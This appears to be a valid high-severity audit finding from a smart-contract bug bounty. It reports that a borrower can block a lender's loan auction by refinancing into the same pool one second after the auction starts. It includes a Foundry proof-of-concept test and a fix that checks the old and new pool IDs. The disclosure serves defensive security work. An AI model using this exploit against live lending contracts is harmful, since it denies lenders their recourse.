20,000 USDC
View results
Submission Details
Severity: high
Valid

DOS loan auction with the help of refinance function

Summary

It's possible to DOS loan auction with the help of refinance function

Vulnerability Details

  1. Lender A creates a pool, deposits funds.

  2. Malicious Borrower A takes a loan from Lender A's pool.

  3. Lender A starts an auction to sell the loan.

  4. Malicious Borrower A refinances loan by providing the current poolId in refinance function 1 second after the auction started

  5. Auction ends, loan stays at lender

PoC:
Add test to Lender.t.sol

address public attacker = address(0x5);
function setUp() public {
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
loanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
vm.startPrank(attacker);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
}
function test_DoSLoanAuction() public {
test_borrow();
// accrue interest
vm.warp(block.timestamp + 364 days + 12 hours);
// kick off auction
vm.startPrank(lender1);
// Lender starts auction
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
(,,,,,,,,uint256 auctionStartTimestamp,) = lender.loans(0);
assertEq(auctionStartTimestamp, block.timestamp);
// warp to 1 seconds after auction start
vm.warp(block.timestamp + 1 seconds);
vm.startPrank(borrower);
// attacker refinances to the same pool 1 second after the auction started
Refinance memory r = Refinance({
loanId: 0,
poolId: keccak256(
abi.encode(
address(lender1),
address(loanToken),
address(collateralToken)
)
),
debt: 100*10**18,
collateral: 100*10**18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
lender.refinance(rs);
address loanLender;
(loanLender,,,,,,,,auctionStartTimestamp,) = lender.loans(0);
assertEq(loanLender, lender1);
assertEq(auctionStartTimestamp, type(uint256).max);
}

Impact

Lender is unable to successfully auction a loan

Tools Used

Manual review

Recommendations

Check in the refinance function if the oldPoolId is not the same as the new poolId.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.